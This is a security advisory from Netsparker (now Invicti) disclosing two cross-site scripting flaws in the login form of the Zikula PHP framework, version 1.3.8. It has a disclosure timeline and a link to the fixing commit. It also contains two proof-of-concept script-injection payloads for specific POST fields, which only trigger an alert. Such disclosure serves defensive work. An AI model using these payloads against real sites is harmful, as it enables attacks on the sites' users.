Information
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Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Zikula
Affected Software: Zikula
Affected Versions: 1.3.8 and possibly below
Vendor Homepage: http://zikula.org/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-038

Description
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Zikula is an OpenSource PHP Application Framework, for your small to enterprise business or personal site.

Technical Details
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Proof of Concept URLs for XSS in Zikula:

http://example.com/zikula/index.php?module=users&type=user&func=login (POST, fields: authentication_method[modname] )
Users'"--></style></scRipt><scRipt>alert(0x000554)</scRipt>

http://example.com/zikula/index.php?module=users&type=user&func=login (POST, fields:authentication_info[login_id])
'"--></style></scRipt><scRipt>alert(0x00056C)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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22/07/2014 - First Contact
24/07/2014 - Second Contact
15/8/2014 - Third Contact
03/12/2014 - Advisory released

Solution
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https://github.com/zikula/core/commit/aaaa0d4a6b636eecb0a4fb4c0450dc96861a7b5d

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.